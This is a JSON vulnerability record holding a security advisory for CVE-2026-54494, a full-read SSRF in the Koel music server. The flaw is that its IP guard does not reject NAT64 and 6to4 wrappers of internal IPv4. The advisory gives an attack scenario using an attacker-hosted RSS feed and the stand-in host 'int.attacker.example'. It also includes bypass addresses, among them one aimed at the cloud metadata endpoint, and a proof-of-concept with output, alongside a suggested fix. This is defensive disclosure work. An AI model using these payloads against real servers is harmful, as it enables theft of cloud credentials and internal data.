{"id":"CVE-2026-54494","aliases":["GHSA-rjg7-r26h-cfp2"],"url":"https://o3.security/vulnerability/CVE-2026-54494","summary":"Koel: Full-read SSRF via podcast enclosure URL: isPublicHost() filter_var guard does not reject NAT64 (64:ff9b::/96) or 6to4 (2002::/16) IPv6-transition wrappers of internal IPv4","details":"## Summary\n\nKoel's outbound-URL guard `App\\Helpers\\Network::isPublicHost()` classifies an IP as \"public\" using PHP's `filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)`. That flag set does **not** recognise IPv6 transition-address forms that embed a private/loopback/link-local IPv4: NAT64 well-known prefix `64:ff9b::/96` (RFC 6052) and 6to4 `2002::/16` (RFC 3056). An address such as `64:ff9b::7f00:1` (= `127.0.0.1`), `64:ff9b::a9fe:a9fe` (= `169.254.169.254`, the cloud metadata endpoint), or `2002:a00:1::` (= `10.0.0.1`) is reported as a public address, so the guard returns `true` and Koel proceeds to fetch the URL.\n\nThe guard is the only SSRF defense in front of `App\\Values\\Podcast\\EpisodePlayable::createForEpisode()`, which downloads a podcast episode with `Http::sink($file)->get($url)` and streams the response body back to the requesting user. Because an attacker fully controls the `` of any RSS feed they host (and any authenticated user can subscribe to a feed), they can publish an enclosure whose hostname has an `AAAA` record that is a NAT64/6to4 wrapper of an internal IP. On hosts with NAT64 or 6to4/dual-stack routing (the standard configuration on IPv6-only AWS/GCP subnets and 6to4-relayed networks), the kernel routes the wrapper to the embedded IPv4, and Koel performs a full-read SSRF against the internal endpoint — returning the response body to the attacker.\n\nThis is a server-side request forgery with full response disclosure (CWE-918) against internal services and cloud instance metadata.\n\n## Vulnerable code\n\n`app/Helpers/Network.php` — `isPublicHost()` (the literal-IP branch and the per-resolved-record branch use the identical predicate):\n\n```php\npublic function isPublicHost(string $host): bool\n{\n if (filter_var($host, FILTER_VALIDATE_IP)) {\n return (\n filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false\n );\n }\n\n try {\n $records = array_merge(dns_get_record($host, DNS_A) ?: [], dns_get_record($host, DNS_AAAA) ?: []);\n } catch (Throwable) {\n return false;\n }\n\n if ($records === []) {\n return false;\n }\n\n foreach ($records as $record) {\n $ip = $record['ip'] ?? $record['ipv6'] ?? null;\n\n if (\n !$ip\n || filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false\n ) {\n return false;\n }\n }\n\n return true;\n}\n```\n\n`PHP`'s `FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE` rejects RFC 1918, loopback, link-local and IPv4-mapped IPv6 (`::ffff:a.b.c.d`), but treats NAT64 `64:ff9b::/96` and 6to4 `2002::/16` as ordinary global addresses — even though both forms deterministically embed an IPv4 the kernel will route to.\n\nThe sink, `app/Values/Podcast/EpisodePlayable.php` — `createForEpisode()`:\n\n```php\n$network = app(Network::class);\n$url = (string) $episode->path;\n\nif (!$network->isSafeUrl($url)) { // isSafeUrl() -> isPublicHost(), the only guard\n throw UnsafeUrlException::forUrl($url);\n}\n\nHttp::sink($file)\n ->withOptions([\n 'allow_redirects' => [\n 'max' => 5,\n 'on_redirect' => static function (\n RequestInterface $request,\n ResponseInterface $response,\n UriInterface $uri,\n ) use ($network): void {\n if (!$network->isSafeUrl((string) $uri)) { // same guard on redirects -> same bypass\n throw UnsafeUrlException::forUrl((string) $uri);\n }\n },\n ],\n ])\n ->get($url) // full-read SSRF: response streamed into $file\n ->throw();\n```\n\n`$episode->path` is the `` from the subscribed podcast RSS feed. The redirect callback reuses the same `isSafeUrl()`, so a redirect to a NAT64/6to4 host is also accepted.\n\n## Attack scenario / How input reaches the sink\n\n1. Attacker hosts a podcast RSS feed and serves an item whose enclosure is ``, where `int.attacker.example` publishes `AAAA = 64:ff9b::a9fe:a9fe` (NAT64 wrapper of `169.254.169.254`) or `2002:a00:1::` (6to4 wrapper of `10.0.0.1`). The attacker may also use a bare IPv6-literal enclosure host directly.\n2. A Koel user subscribes to the feed (a standard, intended feature — the podcast subscription endpoint accepts an arbitrary feed URL) and plays / streams the episode.\n3. `EpisodePlayable::createForEpisode()` calls `isSafeUrl($url)`. The host resolves to the NAT64/6to4 address; `isPublicHost()` runs `filter_var(NO_PRIV_RANGE | NO_RES_RANGE)` over the embedded-IPv4 transition form and returns `true`.\n4. `Http::sink($file)->get($url)` connects. On a NAT64/dual-stack/6to4-routed host the kernel forwards to the embedded internal IPv4. The internal response body is written to `$file` and served back to the user — full-read SSRF against internal services / cloud IMDS.\n\n## Proof of concept\n\n### (a) Guard-predicate proof (PHP 8.5, the exact `filter_var` call)\n\n```php\n loopback\nip -6 addr add 2002:7f00:1::/128 dev lo # 6to4 wrapper of 127.0.0.1 -> loopback\n```\n\nA localhost stand-in \"internal IMDS\" server listens on those literals and returns `SENTINEL_INTERNAL_IMDS_SECRET=ssrf-proven-token-koel-nat64`. The harness boots a real Laravel container, resolves the **genuine released** `App\\Helpers\\Network` (from `app/Helpers/Network.php`), invokes its real `isPublicHost()` on each attacker `AAAA`-record value, then runs the verbatim `EpisodePlayable::createForEpisode()` body (`isSafeUrl` guard, then `Http::sink($file)->get($url)` via Laravel's real Guzzle-backed client):\n\n```php\n$network = $app->make(App\\Helpers\\Network::class); // resolved from app/Helpers/Network.php\n// STEP 1: genuine guard decision on the attacker AAAA-record value\nforeach ($aaaa as [$label,$ip]) echo $network->isPublicHost($ip) ? 'true' : 'false';\n// STEP 2: verbatim createForEpisode body\nif (!$network->isPublicHost($hostForGuard)) { /* REJECTED */ }\nelse { Http::sink($file)->withOptions([...])->get($url); /* fetch + read body */ }\n```\n\nVerbatim output:\n\n```\nNetwork class (genuine released koel source): App\\Helpers\\Network\nResolved from: /app/app/Helpers/Network.php\nGuard predicate source (app/Helpers/Network.php isPublicHost):\n filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)\n\n==== STEP 1 — genuine $network->isPublicHost() on attacker AAAA-record value (the only guard) ====\n isPublicHost(64:ff9b::7f00:1 ) = true [NAT64(127.0.0.1) -> loopback] expect=bypass-expected\n isPublicHost(64:ff9b::a9fe:a9fe ) = true [NAT64(169.254.169.254) -> AWS IMDS] expect=bypass-expected\n isPublicHost(2002:a00:1:: ) = true [6to4(10.0.0.1) -> RFC1918] expect=bypass-expected\n isPublicHost(10.0.0.1 ) = false [DIRECT RFC1918 10.0.0.1 (neg ctrl A)] expect=must-block\n isPublicHost(::ffff:10.0.0.1 ) = false [IPv4-mapped ::ffff:10.0.0.1 (neg B)] expect=must-block\n isPublicHost(127.0.0.1 ) = false [DIRECT loopback 127.0.0.1 (neg ctrl)] expect=must-block\n isPublicHost(8.8.8.8 ) = true [PUBLIC 8.8.8.8 (positive ctrl)] expect=must-allow\n\n==== STEP 2 — genuine EpisodePlayable fetch via Http::sink (real network) ====\n[IMDS-STANDIN HIT] local_addr_reached=[64:ff9b::7f00:1]:18099 peer=[64:ff9b::7f00:1]:37214 request_line=\"GET /secret HTTP/1.1\" Host: [64:ff9b::7f00:1]:18099\n [NAT64 well-known of 127.0.0.1]\n url=http://[64:ff9b::7f00:1]:18099/secret\n guard=PASSED fetched=YES status=200\n sink_body=SENTINEL_INTERNAL_IMDS_SECRET=ssrf-proven-token-koel-nat64\n[IMDS-STANDIN HIT] local_addr_reached=[2002:7f00:1::]:18099 peer=[2002:7f00:1::]:49654 request_line=\"GET /secret HTTP/1.1\" Host: [2002:7f00:1::]:18099\n [6to4 of 127.0.0.1]\n url=http://[2002:7f00:1::]:18099/secret\n guard=PASSED fetched=YES status=200\n sink_body=SENTINEL_INTERNAL_IMDS_SECRET=ssrf-proven-token-koel-nat64\n [DIRECT RFC1918 10.0.0.1 (neg ctrl A)]\n url=http://10.0.0.1:18099/secret\n guard=REJECTED fetched=no status=-\n sink_body=(none)\n\n==== E2E DONE ====\n```\n\nResult: both NAT64 and 6to4 enclosure URLs pass the genuine `isPublicHost`/`isSafeUrl` guard, the genuine `Http::sink()->get()` connects to the internal stand-in, and the internal response body (`SENTINEL_INTERNAL_IMDS_SECRET=...`) is read back — full-read SSRF.\n\n### Negative controls\n\n- `http://10.0.0.1` (direct RFC 1918) — guard `REJECTED`, no fetch (shown above).\n- `::ffff:10.0.0.1` (IPv4-mapped IPv6) and `127.0.0.1` / `169.254.169.254` (direct) — `isPublicHost(...) = false` (shown in STEP 1). The existing guard correctly blocks every form **except** the two transition wrappers, confirming the gap is specific to NAT64 `64:ff9b::/96` and 6to4 `2002::/16`.\n- `8.8.8.8` (public) — `isPublicHost(...) = true` (positive control: legitimate public hosts are unaffected by the proposed fix).\n\n## Impact\n\nFull-read SSRF (CWE-918). An authenticated user able to subscribe to a podcast feed they control can coerce the Koel server into issuing HTTP requests to internal services and reading the responses:\n\n- Cloud instance metadata (`http://[64:ff9b::a9fe:a9fe]/latest/meta-data/...`) — credential / IAM-role token theft on AWS/GCP/Azure.\n- Internal-only HTTP services (admin panels, databases with HTTP fronts, `localhost` daemons) reachable from the Koel host.\n\nPrecondition: the Koel host has NAT64 (`64:ff9b::/96`) or 6to4/dual-stack routing for the transition prefix — the default on IPv6-only AWS/GCP subnets (NAT64) and on 6to4-relayed dual-stack networks. This is the same host-precondition class under which the IPv4/IPv6-literal SSRF guard is meaningful at all.\n\n## Suggested fix\n\nIn `isPublicHost()`, before classifying an IP, normalise IPv6 transition forms by extracting the embedded IPv4 and re-running the private/reserved check on it, and additionally reject the transition prefixes outright. Concretely: for any IPv6 address, detect NAT64 (`64:ff9b::/96`, `64:ff9b:1::/48`), 6to4 (`2002::/16`), IPv4-mapped (`::ffff:0:0/96`, already covered by the flag but should be unwrapped for consistency), Teredo (`2001::/32`) and IPv4-compatible (`::/96`) wrappers, extract the embedded IPv4, and require it to pass `FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE` as well. The same unwrap must be applied to every IP resolved in the DNS branch. A fix PR implementing this (with regression tests over NAT64/6to4/Teredo/IPv4-compatible wrappers of loopback / RFC 1918 / link-local / IMDS plus public-host positive controls) is linked below.\n\n## Fix PR\n\nA fix is provided via a private fork PR against the advisory's temporary fork (linked from the advisory's \"Collaborators\" / fix workflow). It adds an `extractEmbeddedIpv4()` helper covering IPv4-mapped, IPv4-compatible, 6to4, NAT64 well-known and NAT64-discovery forms, recurse-checks the embedded IPv4 against the existing `NO_PRIV_RANGE | NO_RES_RANGE` predicate in both the literal-IP and per-resolved-record branches of `isPublicHost()`, and adds regression tests.\n\n## Credit\n\nReported by tonghuaroot.","published":"2026-08-19T20:46:01.824Z","modified":"2026-10-21T02:58:33.616507223Z","cvss":null,"epss":{"score":0.00332,"percentile":0.26495,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"phanan/koel","fixedVersion":"9.7.1"}],"fix":{"url":"https://github.com/koel/koel/commit/5f6ce2cefd08f437a269236b677ad971517ccbb6","label":"koel/koel@5f6ce2c"},"references":[{"type":"WEB","url":"https://github.com/koel/koel/releases/tag/v9.7.1"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54494.json"},{"type":"ADVISORY","url":"https://github.com/koel/koel/security/advisories/GHSA-rjg7-r26h-cfp2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54494"},{"type":"FIX","url":"https://github.com/koel/koel/commit/5f6ce2cefd08f437a269236b677ad971517ccbb6"},{"type":"FIX","url":"https://github.com/koel/koel/pull/2549"},{"type":"PACKAGE","url":"https://github.com/koel/koel"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T02:58:33.616507223Z"}}